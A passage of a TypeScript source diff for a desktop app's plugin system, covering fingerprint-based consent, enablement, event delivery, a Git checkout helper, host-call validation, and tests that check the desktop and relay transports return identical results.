expect(harness.getSettings().pluginConsents[pluginKey]).toBe('sha256-reviewed')
|
||||
expect(harness.getSettings().disabledPlugins).not.toContain(pluginKey)
|
||||
})
|
||||
|
||||
it('rejects a stale review after a same-key plugin update without writing settings', async () => {
|
||||
const harness = createStore()
|
||||
let currentFingerprint = 'sha256-reviewed-v1'
|
||||
const pluginService = createPluginService(() => currentFingerprint)
|
||||
currentFingerprint = 'sha256-current-v2'
|
||||
|
||||
await expect(
|
||||
applyPluginConsent({
|
||||
store: harness.store,
|
||||
pluginService,
|
||||
pluginKey,
|
||||
reviewedFingerprint: 'sha256-reviewed-v1',
|
||||
decision: 'approve'
|
||||
})
|
||||
).rejects.toThrow('changed since its permissions were reviewed')
|
||||
|
||||
expect(harness.updateSettings).not.toHaveBeenCalled()
|
||||
expect(harness.getSettings().pluginConsents[pluginKey]).toBeUndefined()
|
||||
})
|
||||
|
||||
it('allows a stale dialog to keep the newer plugin disabled', async () => {
|
||||
const harness = createStore()
|
||||
const pluginService = createPluginService(() => 'sha256-current-v2')
|
||||
|
||||
await applyPluginConsent({
|
||||
store: harness.store,
|
||||
pluginService,
|
||||
pluginKey,
|
||||
reviewedFingerprint: 'sha256-reviewed-v1',
|
||||
decision: 'keep-disabled'
|
||||
})
|
||||
|
||||
expect(harness.getSettings().disabledPlugins).toContain(pluginKey)
|
||||
expect(pluginService.reconcileActivationState).toHaveBeenCalledOnce()
|
||||
})
|
||||
})
|
||||
|
||||
describe('applyPluginEnablement', () => {
|
||||
it('does not persist unknown plugin identities', async () => {
|
||||
const harness = createStore()
|
||||
const pluginService = createPluginService(() => 'sha256-current')
|
||||
|
||||
await expect(
|
||||
applyPluginEnablement({
|
||||
store: harness.store,
|
||||
pluginService,
|
||||
pluginKey: 'orca-samples.unknown',
|
||||
enabled: false
|
||||
})
|
||||
).rejects.toThrow('unknown plugin')
|
||||
|
||||
expect(harness.updateSettings).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,87 @@
|
|||
import {
|
||||
normalizePluginConsents,
|
||||
normalizePluginIdList
|
||||
} from '../../shared/plugins/plugin-consent-state'
|
||||
import type { Store } from '../persistence'
|
||||
import type { PluginService } from './plugin-service'
|
||||
import type { PluginConsentRequest } from '../../shared/plugins/plugin-consent-request'
|
||||
import { verifyInstructionalPluginContent } from './plugin-instructional-content-integrity'
|
||||
|
||||
/**
|
||||
* Single write path for consent + enablement. Consent is recorded as
|
||||
* (qualified key → consent fingerprint) — never a bare id — so a capability
|
||||
* expansion or addition of trusted Node code requires re-consent. The desktop
|
||||
* IPC handlers and the headless RPC methods both route through here.
|
||||
*/
|
||||
|
||||
export type PluginConsentDecision = PluginConsentRequest['decision']
|
||||
|
||||
/** Records the user's consent-dialog answer. Approving stores the CURRENT
|
||||
* consent fingerprint and clears any disable; declining disables so the plugin
|
||||
* never re-prompts on later launches. */
|
||||
export async function applyPluginConsent(input: {
|
||||
store: Store
|
||||
pluginService: PluginService
|
||||
pluginKey: PluginConsentRequest['pluginKey']
|
||||
reviewedFingerprint: PluginConsentRequest['reviewedFingerprint']
|
||||
decision: PluginConsentRequest['decision']
|
||||
originWebContentsId?: number
|
||||
}): Promise<void> {
|
||||
const { store, pluginService, pluginKey } = input
|
||||
const plugin = pluginService.findValidPlugin(pluginKey)
|
||||
if (!plugin) {
|
||||
throw new Error(`cannot record consent for unknown plugin ${pluginKey}`)
|
||||
}
|
||||
// Why: a same-key install can change while the dialog is open; never apply a
|
||||
// decision to capabilities or a worker trust tier the user did not review.
|
||||
if (input.decision === 'approve' && plugin.consentFingerprint !== input.reviewedFingerprint) {
|
||||
throw new Error(`plugin ${pluginKey} changed since its permissions were reviewed`)
|
||||
}
|
||||
if (input.decision === 'approve') {
|
||||
// Why: IPC and serve callers can bypass the renderer dialog, so main must
|
||||
// prove every instructional byte is still reviewable before enabling it.
|
||||
await verifyInstructionalPluginContent(plugin)
|
||||
}
|
||||
const settings = store.getSettings()
|
||||
const disabled = new Set(normalizePluginIdList(settings.disabledPlugins))
|
||||
const consents = normalizePluginConsents(settings.pluginConsents)
|
||||
if (input.decision === 'approve') {
|
||||
consents[pluginKey] = plugin.consentFingerprint
|
||||
disabled.delete(pluginKey)
|
||||
} else {
|
||||
disabled.add(pluginKey)
|
||||
}
|
||||
store.updateSettings(
|
||||
{ disabledPlugins: [...disabled], pluginConsents: consents },
|
||||
{ notifyListeners: true, originWebContentsId: input.originWebContentsId }
|
||||
)
|
||||
await pluginService.reconcileActivationState()
|
||||
}
|
||||
|
||||
/** Enables/disables an already-consented plugin. Enabling never bypasses
|
||||
* consent: with missing or stale consent the plugin stays pending and the
|
||||
* caller must run the consent flow instead. */
|
||||
export async function applyPluginEnablement(input: {
|
||||
store: Store
|
||||
pluginService: PluginService
|
||||
pluginKey: string
|
||||
enabled: boolean
|
||||
originWebContentsId?: number
|
||||
}): Promise<void> {
|
||||
const { store, pluginService, pluginKey, enabled } = input
|
||||
if (!pluginService.findValidPlugin(pluginKey)) {
|
||||
throw new Error(`cannot change enablement for unknown plugin ${pluginKey}`)
|
||||
}
|
||||
const settings = store.getSettings()
|
||||
const disabled = new Set(normalizePluginIdList(settings.disabledPlugins))
|
||||
if (enabled) {
|
||||
disabled.delete(pluginKey)
|
||||
} else {
|
||||
disabled.add(pluginKey)
|
||||
}
|
||||
store.updateSettings(
|
||||
{ disabledPlugins: [...disabled] },
|
||||
{ notifyListeners: true, originWebContentsId: input.originWebContentsId }
|
||||
)
|
||||
await pluginService.reconcileActivationState()
|
||||
}
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
import { PLUGIN_EVENT_PAYLOAD_SCHEMAS } from '../../shared/plugins/plugin-events'
|
||||
import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
|
||||
|
||||
/**
|
||||
* Server-side event filtering: plugins receive only events they subscribed
|
||||
* to (manifest `contributes.events` or a runtime `events.subscribe` call) —
|
||||
* never a firehose. Manifest subscriptions are durable activation triggers;
|
||||
* dynamic subscriptions live only as long as the worker that made them.
|
||||
*/
|
||||
|
||||
export class PluginEventBus {
|
||||
private readonly dynamicSubscriptions = new Map<string, Set<PluginEventName>>()
|
||||
|
||||
subscribe(pluginKey: string, events: PluginEventName[]): PluginEventName[] {
|
||||
const existing = this.dynamicSubscriptions.get(pluginKey) ?? new Set<PluginEventName>()
|
||||
for (const event of events) {
|
||||
existing.add(event)
|
||||
}
|
||||
this.dynamicSubscriptions.set(pluginKey, existing)
|
||||
return [...existing]
|
||||
}
|
||||
|
||||
isDynamicallySubscribed(pluginKey: string, event: PluginEventName): boolean {
|
||||
return this.dynamicSubscriptions.get(pluginKey)?.has(event) ?? false
|
||||
}
|
||||
|
||||
/** Dynamic subscriptions die with the worker that registered them. */
|
||||
clear(pluginKey: string): void {
|
||||
this.dynamicSubscriptions.delete(pluginKey)
|
||||
}
|
||||
|
||||
/** Validates and bounds an event payload before it reaches any plugin. */
|
||||
projectPayload(
|
||||
event: PluginEventName,
|
||||
payload: unknown
|
||||
): { ok: true; payload: unknown } | { ok: false; error: string } {
|
||||
const parsed = PLUGIN_EVENT_PAYLOAD_SCHEMAS[event].safeParse(payload)
|
||||
return parsed.success
|
||||
? { ok: true, payload: parsed.data }
|
||||
: { ok: false, error: `malformed ${event} payload` }
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,48 @@
|
|||
import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
|
||||
import {
|
||||
isInvalidDiscoveredPlugin,
|
||||
type DiscoveredPlugin,
|
||||
type ValidDiscoveredPlugin
|
||||
} from './plugin-discovery'
|
||||
import type { PluginEventBus } from './plugin-event-bus'
|
||||
import type { PluginWorkerController } from './plugin-worker-controller'
|
||||
|
||||
export function deliverPluginEvent(options: {
|
||||
event: PluginEventName
|
||||
payload: unknown
|
||||
plugins: readonly DiscoveredPlugin[]
|
||||
eventBus: PluginEventBus
|
||||
workerController: PluginWorkerController
|
||||
isRuntimeApproved: (plugin: ValidDiscoveredPlugin) => boolean
|
||||
logWarning: (pluginKey: string, line: string) => void
|
||||
}): void {
|
||||
const projected = options.eventBus.projectPayload(options.event, options.payload)
|
||||
if (!projected.ok) {
|
||||
return
|
||||
}
|
||||
for (const plugin of options.plugins) {
|
||||
if (isInvalidDiscoveredPlugin(plugin) || !options.isRuntimeApproved(plugin)) {
|
||||
continue
|
||||
}
|
||||
const manifestSubscribed = plugin.manifest.contributes.events.some(
|
||||
(subscription) => subscription.on === options.event
|
||||
)
|
||||
if (manifestSubscribed && plugin.manifest.main) {
|
||||
void options.workerController
|
||||
.ensure(plugin)
|
||||
.then((handle) => handle.deliverEvent(options.event, projected.payload))
|
||||
.catch((error) => {
|
||||
options.logWarning(
|
||||
plugin.pluginKey,
|
||||
`event ${options.event} dropped: ${error instanceof Error ? error.message : String(error)}`
|
||||
)
|
||||
})
|
||||
} else if (options.eventBus.isDynamicallySubscribed(plugin.pluginKey, options.event)) {
|
||||
options.workerController.deliverEventIfRunning(
|
||||
plugin.pluginKey,
|
||||
options.event,
|
||||
projected.payload
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,57 @@
|
|||
import { execFile } from 'node:child_process'
|
||||
import { promisify } from 'node:util'
|
||||
import {
|
||||
isAllowedPluginGitUrl,
|
||||
PLUGIN_COMMIT_PATTERN
|
||||
} from '../../shared/plugins/plugin-install-lockfile'
|
||||
|
||||
const execFileAsync = promisify(execFile)
|
||||
const PLUGIN_GIT_TIMEOUT_MS = 120_000
|
||||
|
||||
/** Runs system Git with argv-only invocation so credential helpers and SSH
|
||||
* remotes work without exposing an executable remote-helper surface. */
|
||||
export async function runPluginGit(args: string[], cwd: string): Promise<string> {
|
||||
const { stdout } = await execFileAsync('git', args, {
|
||||
cwd,
|
||||
timeout: PLUGIN_GIT_TIMEOUT_MS,
|
||||
windowsHide: true,
|
||||
env: {
|
||||
...process.env,
|
||||
// Existing non-interactive helpers and SSH agents still work, but a
|
||||
// background marketplace refresh can never hang on a terminal prompt.
|
||||
GIT_TERMINAL_PROMPT: '0'
|
||||
}
|
||||
})
|
||||
return stdout.trim()
|
||||
}
|
||||
|
||||
/** Checks out one Git ref into an empty destination and returns exact HEAD. */
|
||||
export async function checkoutPluginGitSource(input: {
|
||||
url: string
|
||||
ref: string
|
||||
destination: string
|
||||
workingDirectory: string
|
||||
}): Promise<string> {
|
||||
if (!isAllowedPluginGitUrl(input.url)) {
|
||||
throw new Error('plugin Git URL must use HTTPS or SSH')
|
||||
}
|
||||
const ref = input.ref.trim()
|
||||
if (PLUGIN_COMMIT_PATTERN.test(ref)) {
|
||||
await runPluginGit(['init', '--quiet', input.destination], input.workingDirectory)
|
||||
await runPluginGit(['remote', 'add', 'origin', input.url], input.destination)
|
||||
await runPluginGit(['fetch', '--quiet', '--depth', '1', 'origin', ref], input.destination)
|
||||
await runPluginGit(['checkout', '--quiet', 'FETCH_HEAD'], input.destination)
|
||||
} else {
|
||||
const args = ['clone', '--quiet', '--depth', '1']
|
||||
if (ref.length > 0) {
|
||||
args.push('--branch', ref)
|
||||
}
|
||||
args.push('--', input.url, input.destination)
|
||||
await runPluginGit(args, input.workingDirectory)
|
||||
}
|
||||
const resolvedCommit = await runPluginGit(['rev-parse', 'HEAD'], input.destination)
|
||||
if (!PLUGIN_COMMIT_PATTERN.test(resolvedCommit)) {
|
||||
throw new Error('Git resolved an invalid commit identity')
|
||||
}
|
||||
return resolvedCommit
|
||||
}
|
||||
|
|
@ -0,0 +1,57 @@
|
|||
import { z } from 'zod'
|
||||
import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
|
||||
import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
|
||||
import { executePluginHostCall, type ExecutePluginHostCallInput } from './plugin-host-methods'
|
||||
|
||||
const pluginHostCallRequestSchema = z
|
||||
.object({
|
||||
method: z.string().min(1).max(128),
|
||||
params: z.unknown().optional()
|
||||
})
|
||||
.strict()
|
||||
|
||||
export type PluginHostCallRequest = z.infer<typeof pluginHostCallRequestSchema>
|
||||
|
||||
export function isPluginHostCallRequest(request: unknown): request is PluginHostCallRequest {
|
||||
return pluginHostCallRequestSchema.safeParse(request).success
|
||||
}
|
||||
|
||||
export type PluginHostCallPolicy = Pick<
|
||||
ExecutePluginHostCallInput,
|
||||
'grantedCapabilities' | 'services' | 'audit'
|
||||
>
|
||||
|
||||
export type ResolvePluginHostCallPolicy = (
|
||||
pluginKey: string
|
||||
) => PluginHostCallPolicy | Promise<PluginHostCallPolicy>
|
||||
|
||||
/** Validates the transport envelope, resolves all authority host-side, then
|
||||
* enters the one capability/schema/audit execution chokepoint. */
|
||||
export async function executePluginHostCallRequest(input: {
|
||||
/** Qualified identity already authenticated by the owning transport. */
|
||||
pluginKey: string
|
||||
request: unknown
|
||||
viaPanel: boolean
|
||||
resolvePolicy: ResolvePluginHostCallPolicy
|
||||
}): Promise<PluginPanelActionOutcome> {
|
||||
if (!isQualifiedPluginKey(input.pluginKey)) {
|
||||
return { ok: false, code: 'invalid_request', error: 'invalid qualified plugin key' }
|
||||
}
|
||||
const parsed = pluginHostCallRequestSchema.safeParse(input.request)
|
||||
if (!parsed.success) {
|
||||
return { ok: false, code: 'invalid_request', error: 'malformed plugin host call request' }
|
||||
}
|
||||
let policy: PluginHostCallPolicy
|
||||
try {
|
||||
policy = await input.resolvePolicy(input.pluginKey)
|
||||
} catch {
|
||||
return { ok: false, code: 'unavailable', error: 'plugin host policy is not available' }
|
||||
}
|
||||
return executePluginHostCall({
|
||||
pluginId: input.pluginKey,
|
||||
method: parsed.data.method,
|
||||
params: parsed.data.params,
|
||||
viaPanel: input.viaPanel,
|
||||
...policy
|
||||
})
|
||||
}
|
||||
|
|
@ -0,0 +1,366 @@
|
|||
import { describe, expect, it, vi } from 'vitest'
|
||||
import { PLUGIN_HOST_API_V0 } from '../../shared/plugins/plugin-host-api'
|
||||
import type { PluginCapabilityKind } from '../../shared/plugins/plugin-capabilities'
|
||||
import {
|
||||
admitPluginPanelCall,
|
||||
createPluginPanelCallAdmission
|
||||
} from '../../shared/plugins/plugin-panel-call-admission'
|
||||
import type { PluginPanelActionOutcome } from '../../shared/plugins/plugin-panel-bridge'
|
||||
import type { MethodHandler } from '../../relay/dispatcher'
|
||||
import {
|
||||
RELAY_PLUGIN_PANEL_HOST_CALL_METHOD,
|
||||
RELAY_PLUGIN_WORKER_HOST_CALL_METHOD,
|
||||
registerRelayPluginHostCallHandlers
|
||||
} from '../../relay/plugin-host-call-handler'
|
||||
import {
|
||||
executePluginHostCallRequest,
|
||||
type PluginHostCallPolicy,
|
||||
type ResolvePluginHostCallPolicy
|
||||
} from './plugin-host-call-adapter'
|
||||
import type { PluginHostServices } from './plugin-host-methods'
|
||||
|
||||
const PLUGIN_KEY = 'orca-samples.demo'
|
||||
const WORKTREE_ID = 'repo-id::/Users/private/orca'
|
||||
const TERMINAL_ID = 'terminal:local:one'
|
||||
|
||||
type HostCallAdapter = (request: unknown, viaPanel: boolean) => Promise<PluginPanelActionOutcome>
|
||||
|
||||
function createServices(): PluginHostServices {
|
||||
return {
|
||||
resolveActiveWorktreeContext: vi.fn().mockResolvedValue({
|
||||
worktreeId: WORKTREE_ID,
|
||||
branch: 'main',
|
||||
displayName: 'Orca',
|
||||
path: '/Users/private/orca'
|
||||
}),
|
||||
listWorktreeTerminals: vi
|
||||
.fn()
|
||||
.mockResolvedValue([{ id: TERMINAL_ID, title: '/home/private/orca' }]),
|
||||
sendTerminalText: vi.fn().mockResolvedValue({ accepted: true }),
|
||||
dispatchPluginNotification: vi.fn().mockResolvedValue({ delivered: true }),
|
||||
storage: {
|
||||
get: vi.fn().mockReturnValue('stored'),
|
||||
set: vi.fn().mockReturnValue({ ok: true }),
|
||||
delete: vi.fn(),
|
||||
keys: vi.fn().mockReturnValue(['alpha'])
|
||||
},
|
||||
secrets: {
|
||||
get: vi.fn().mockReturnValue({ ok: true, value: 'secret' }),
|
||||
set: vi.fn().mockReturnValue({ ok: true }),
|
||||
delete: vi.fn()
|
||||
},
|
||||
settings: {
|
||||
getAll: vi.fn().mockReturnValue({ theme: 'dark' }),
|
||||
set: vi.fn().mockReturnValue({ ok: true })
|
||||
},
|
||||
subscribeEvents: vi.fn().mockImplementation((_pluginKey, events) => events)
|
||||
}
|
||||
}
|
||||
|
||||
function createPolicy(
|
||||
grantedCapabilities: readonly PluginCapabilityKind[] | null,
|
||||
services: PluginHostServices = createServices(),
|
||||
audit = { record: vi.fn().mockResolvedValue(undefined) }
|
||||
): PluginHostCallPolicy {
|
||||
return { grantedCapabilities, services, audit }
|
||||
}
|
||||
|
||||
function createAdapters(
|
||||
resolvePolicy: ResolvePluginHostCallPolicy,
|
||||
limits?: { maxBytes?: number; maxMessages?: number; perMs?: number }
|
||||
): Record<string, HostCallAdapter> {
|
||||
const relayHandlers = new Map<string, MethodHandler>()
|
||||
registerRelayPluginHostCallHandlers(
|
||||
{ onRequest: (method, handler) => relayHandlers.set(method, handler) },
|
||||
(context) => (context.clientId === 1 ? PLUGIN_KEY : null),
|
||||
resolvePolicy,
|
||||
{ panelAdmission: createPluginPanelCallAdmission({ limits, now: () => 0 }) }
|
||||
)
|
||||
const desktopAdmission = createPluginPanelCallAdmission({ limits, now: () => 0 })
|
||||
return {
|
||||
'desktop-main': async (request, viaPanel) => {
|
||||
if (viaPanel) {
|
||||
const admissionRefusal = admitPluginPanelCall(desktopAdmission, PLUGIN_KEY, request)
|
||||
if (admissionRefusal) {
|
||||
return admissionRefusal
|
||||
}
|
||||
}
|
||||
return executePluginHostCallRequest({
|
||||
pluginKey: PLUGIN_KEY,
|
||||
request,
|
||||
viaPanel,
|
||||
resolvePolicy
|
||||
})
|
||||
},
|
||||
relay: async (request, viaPanel) => {
|
||||
const registeredMethod = viaPanel
|
||||
? RELAY_PLUGIN_PANEL_HOST_CALL_METHOD
|
||||
: RELAY_PLUGIN_WORKER_HOST_CALL_METHOD
|
||||
return (await relayHandlers.get(registeredMethod)!(request as Record<string, unknown>, {
|
||||
clientId: 1,
|
||||
isStale: () => false
|
||||
})) as PluginPanelActionOutcome
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const successParams: Record<string, unknown> = {
|
||||
'workspace.readContext': {},
|
||||
'terminal.sendText': { terminalId: TERMINAL_ID, text: 'echo hi', enter: true },
|
||||
'notifications.show': { title: 'Hello' },
|
||||
'storage.get': { key: 'alpha' },
|
||||
'storage.set': { key: 'alpha', value: 1 },
|
||||
'storage.delete': { key: 'alpha' },
|
||||
'storage.keys': {},
|
||||
'secrets.get': { key: 'token' },
|
||||
'secrets.set': { key: 'token', value: 'secret' },
|
||||
'secrets.delete': { key: 'token' },
|
||||
'settings.get': {},
|
||||
'settings.set': { key: 'theme', value: 'dark' },
|
||||
'events.subscribe': { events: ['worktree.created'] }
|
||||
}
|
||||
|
||||
describe('plugin host main/relay conformance', () => {
|
||||
it('runs a granted success through both transports for all 13 v0 methods', async () => {
|
||||
expect(PLUGIN_HOST_API_V0).toHaveLength(13)
|
||||
expect(Object.keys(successParams).sort()).toEqual(
|
||||
PLUGIN_HOST_API_V0.map((entry) => entry.name).sort()
|
||||
)
|
||||
expect(PLUGIN_HOST_API_V0.every((entry) => entry.stability === 'experimental')).toBe(true)
|
||||
expect(PLUGIN_HOST_API_V0.every((entry) => entry.scope.length > 0)).toBe(true)
|
||||
|
||||
for (const spec of PLUGIN_HOST_API_V0) {
|
||||
const policy = createPolicy([spec.capability])
|
||||
const resolvePolicy = vi.fn().mockResolvedValue(policy)
|
||||
const outcomes = await Promise.all(
|
||||
Object.values(createAdapters(resolvePolicy)).map((adapter) =>
|
||||
adapter({ method: spec.name, params: successParams[spec.name] }, spec.panel)
|
||||
)
|
||||
)
|
||||
expect(outcomes, spec.name).toHaveLength(2)
|
||||
expect(outcomes[0], spec.name).toEqual(outcomes[1])
|
||||
expect(outcomes[0], spec.name).toMatchObject({ ok: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('projects workspace context without host paths on main and relay', async () => {
|
||||
const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['workspace:read']))
|
||||
for (const adapter of Object.values(createAdapters(resolvePolicy))) {
|
||||
const outcome = await adapter({ method: 'workspace.readContext', params: {} }, true)
|
||||
expect(outcome).toEqual({
|
||||
ok: true,
|
||||
value: {
|
||||
branch: 'main',
|
||||
displayName: 'Orca',
|
||||
terminals: [{ id: TERMINAL_ID }]
|
||||
}
|
||||
})
|
||||
expect(outcome).not.toHaveProperty('value.path')
|
||||
expect(outcome).not.toHaveProperty('value.worktreeId')
|
||||
}
|
||||
})
|
||||
|
||||
const deniedCases: {
|
||||
name: string
|
||||
request: unknown
|
||||
viaPanel: boolean
|
||||
policy: () => PluginHostCallPolicy
|
||||
code: string
|
||||
}[] = [
|
||||
{
|
||||
name: 'missing or stale consent',
|
||||
request: { method: 'workspace.readContext', params: {} },
|
||||
viaPanel: true,
|
||||
policy: () => createPolicy(null),
|
||||
code: 'consent_required'
|
||||
},
|
||||
{
|
||||
name: 'missing capability',
|
||||
request: { method: 'workspace.readContext', params: {} },
|
||||
viaPanel: true,
|
||||
policy: () => createPolicy([]),
|
||||
code: 'capability_denied'
|
||||
},
|
||||
{
|
||||
name: 'unknown method',
|
||||
request: { method: 'workspace.erase', params: {} },
|
||||
viaPanel: false,
|
||||
policy: () => createPolicy(['workspace:read']),
|
||||
code: 'unknown_method'
|
||||
},
|
||||
{
|
||||
name: 'malformed params',
|
||||
request: {
|
||||
method: 'terminal.sendText',
|
||||
params: { terminalId: TERMINAL_ID, text: '' }
|
||||
},
|
||||
viaPanel: true,
|
||||
policy: () => createPolicy(['terminal:send']),
|
||||
code: 'invalid_params'
|
||||
},
|
||||
{
|
||||
name: 'panel-forbidden method',
|
||||
request: { method: 'storage.get', params: { key: 'alpha' } },
|
||||
viaPanel: true,
|
||||
policy: () => createPolicy(['storage']),
|
||||
code: 'panel_forbidden'
|
||||
},
|
||||
{
|
||||
name: 'malformed result',
|
||||
request: {
|
||||
method: 'notifications.show',
|
||||
params: { title: 'Hello' }
|
||||
},
|
||||
viaPanel: true,
|
||||
policy: () => {
|
||||
const services = createServices()
|
||||
services.dispatchPluginNotification = vi
|
||||
.fn()
|
||||
.mockResolvedValue({ delivered: 'yes' } as unknown as { delivered: boolean })
|
||||
return createPolicy(['notifications:show'], services)
|
||||
},
|
||||
code: 'action_failed'
|
||||
},
|
||||
{
|
||||
name: 'mutation audit failure',
|
||||
request: {
|
||||
method: 'storage.set',
|
||||
params: { key: 'alpha', value: 1 }
|
||||
},
|
||||
viaPanel: false,
|
||||
policy: () =>
|
||||
createPolicy(['storage'], createServices(), {
|
||||
record: vi.fn().mockRejectedValue(new Error('disk full'))
|
||||
}),
|
||||
code: 'action_failed'
|
||||
}
|
||||
]
|
||||
|
||||
it.each(deniedCases)('returns identical $code codes for $name', async (testCase) => {
|
||||
const outcomes: PluginPanelActionOutcome[] = []
|
||||
for (const adapterName of ['desktop-main', 'relay']) {
|
||||
const resolvePolicy = vi.fn().mockImplementation(() => testCase.policy())
|
||||
const adapter = createAdapters(resolvePolicy)[adapterName]!
|
||||
outcomes.push(await adapter(testCase.request, testCase.viaPanel))
|
||||
}
|
||||
expect(outcomes[0]).toMatchObject({ ok: false, code: testCase.code })
|
||||
expect(outcomes[1]).toMatchObject({ ok: false, code: testCase.code })
|
||||
expect(outcomes[0]).toEqual(outcomes[1])
|
||||
})
|
||||
|
||||
it('enforces the same per-plugin panel budget on desktop main and relay', async () => {
|
||||
for (const adapterName of ['desktop-main', 'relay']) {
|
||||
const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['notifications:show']))
|
||||
const adapter = createAdapters(resolvePolicy, {
|
||||
maxMessages: 1,
|
||||
perMs: 10_000
|
||||
})[adapterName]!
|
||||
|
||||
await expect(
|
||||
adapter({ method: 'notifications.show', params: { title: 'first' } }, true)
|
||||
).resolves.toMatchObject({ ok: true })
|
||||
await expect(
|
||||
adapter({ method: 'notifications.show', params: { title: 'second' } }, true)
|
||||
).resolves.toEqual({
|
||||
ok: false,
|
||||
code: 'rate_limited',
|
||||
error: 'too many panel requests'
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
it('charges malformed and oversized panel traffic before schema parsing', async () => {
|
||||
for (const adapterName of ['desktop-main', 'relay']) {
|
||||
const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['notifications:show']))
|
||||
const adapter = createAdapters(resolvePolicy, {
|
||||
maxBytes: 128,
|
||||
maxMessages: 2,
|
||||
perMs: 10_000
|
||||
})[adapterName]!
|
||||
|
||||
await expect(
|
||||
adapter({ method: 'notifications.show', unexpected: true }, true)
|
||||
).resolves.toMatchObject({ ok: false, code: 'invalid_request' })
|
||||
await expect(
|
||||
adapter(
|
||||
{
|
||||
method: 'notifications.show',
|
||||
params: { title: 'x'.repeat(256) }
|
||||
},
|
||||
true
|
||||
)
|
||||
).resolves.toEqual({
|
||||
ok: false,
|
||||
code: 'invalid_request',
|
||||
error: 'panel message exceeds the size limit'
|
||||
})
|
||||
await expect(
|
||||
adapter({ method: 'notifications.show', params: { title: 'third' } }, true)
|
||||
).resolves.toEqual({
|
||||
ok: false,
|
||||
code: 'rate_limited',
|
||||
error: 'too many panel requests'
|
||||
})
|
||||
expect(resolvePolicy).not.toHaveBeenCalled()
|
||||
}
|
||||
})
|
||||
|
||||
it('binds relay plugin identity to the requesting connection', async () => {
|
||||
const relayHandlers = new Map<string, MethodHandler>()
|
||||
const services = createServices()
|
||||
const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['storage'], services))
|
||||
const resolveIdentity = vi
|
||||
.fn()
|
||||
.mockImplementation(({ clientId }: { clientId: number }) =>
|
||||
clientId === 7 ? PLUGIN_KEY : null
|
||||
)
|
||||
registerRelayPluginHostCallHandlers(
|
||||
{ onRequest: (method, handler) => relayHandlers.set(method, handler) },
|
||||
resolveIdentity,
|
||||
resolvePolicy
|
||||
)
|
||||
const handler = relayHandlers.get(RELAY_PLUGIN_WORKER_HOST_CALL_METHOD)!
|
||||
|
||||
await expect(
|
||||
handler(
|
||||
{ method: 'storage.get', params: { key: 'alpha' } },
|
||||
{ clientId: 7, isStale: () => false }
|
||||
)
|
||||
).resolves.toMatchObject({ ok: true })
|
||||
expect(services.storage.get).toHaveBeenCalledWith(PLUGIN_KEY, 'alpha')
|
||||
|
||||
await expect(
|
||||
handler(
|
||||
{ method: 'storage.get', params: { key: 'alpha' } },
|
||||
{ clientId: 8, isStale: () => false }
|
||||
)
|
||||
).resolves.toMatchObject({ ok: false, code: 'unavailable' })
|
||||
expect(resolvePolicy).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('rejects malformed envelopes and client-supplied authority before policy resolution', async () => {
|
||||
const requests = [
|
||||
{ pluginKey: '../evil', method: 'storage.get', params: { key: 'alpha' } },
|
||||
{
|
||||
pluginKey: PLUGIN_KEY,
|
||||
method: 'storage.get',
|
||||
params: { key: 'alpha' },
|
||||
grantedCapabilities: ['storage']
|
||||
},
|
||||
{
|
||||
pluginKey: PLUGIN_KEY,
|
||||
method: 'storage.get',
|
||||
params: { key: 'alpha' },
|
||||
viaPanel: false
|
||||
}
|
||||
]
|
||||
for (const request of requests) {
|
||||
for (const adapterName of ['desktop-main', 'relay']) {
|
||||
const resolvePolicy = vi.fn().mockResolvedValue(createPolicy(['storage']))
|
||||
const outcome = await createAdapters(resolvePolicy)[adapterName]!(request, false)
|
||||
expect(outcome).toMatchObject({ ok: false, code: 'invalid_request' })
|
||||
expect(resolvePolicy).not.toHaveBeenCalled()
|
||||
}
|
||||
}
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,41 @@
|
|||
/**
|
||||
* Child-process entry for the out-of-process plugin worker. Forked with
|
||||
* ELECTRON_RUN_AS_NODE, so this file must stay plain Node — no electron
|
||||
* imports (directly or transitively). All logic lives in
|
||||
* `plugin-host-runtime.ts`; this file only wires the fork IPC channel.
|
||||
*/
|
||||
import { createPluginWorkerRuntime } from './plugin-host-runtime'
|
||||
import type { PluginWorkerChildMessage } from '../../shared/plugins/plugin-host-protocol'
|
||||
|
||||
function sendToParent(message: PluginWorkerChildMessage): void {
|
||||
process.send?.(message)
|
||||
}
|
||||
|
||||
const runtime = createPluginWorkerRuntime({ send: sendToParent })
|
||||
|
||||
process.on('message', (raw: unknown) => {
|
||||
void runtime.handleMessage(raw)
|
||||
})
|
||||
|
||||
// Why: third-party plugin code runs here; an escaped rejection must not leave
|
||||
// a zombie worker. Report the crash so the parent can supervise/restart.
|
||||
function dieFatally(error: unknown): void {
|
||||
try {
|
||||
sendToParent({
|
||||
type: 'fatal',
|
||||
error: error instanceof Error ? (error.stack ?? error.message) : String(error)
|
||||
})
|
||||
} catch {
|
||||
// Channel already gone; nothing left to report to.
|
||||
}
|
||||
process.exit(1)
|
||||
}
|
||||
|
||||
process.on('uncaughtException', dieFatally)
|
||||
process.on('unhandledRejection', dieFatally)
|
||||
|
||||
// Why: if the parent dies without sending shutdown, the IPC channel closes;
|
||||
// exit instead of lingering as an orphaned Node process.
|
||||
process.on('disconnect', () => {
|
||||
process.exit(0)
|
||||
})
|
||||
|
|
@ -0,0 +1,181 @@
|
|||
import {
|
||||
getPluginHostMethodSpec,
|
||||
PLUGIN_HOST_API_V0,
|
||||
PLUGIN_TERMINAL_ID_MAX_LENGTH,
|
||||
PLUGIN_WORKSPACE_LABEL_MAX_LENGTH,
|
||||
PLUGIN_WORKSPACE_TERMINAL_LIMIT,
|
||||
type PluginHostMethodSpec
|
||||
} from '../../shared/plugins/plugin-host-api'
|
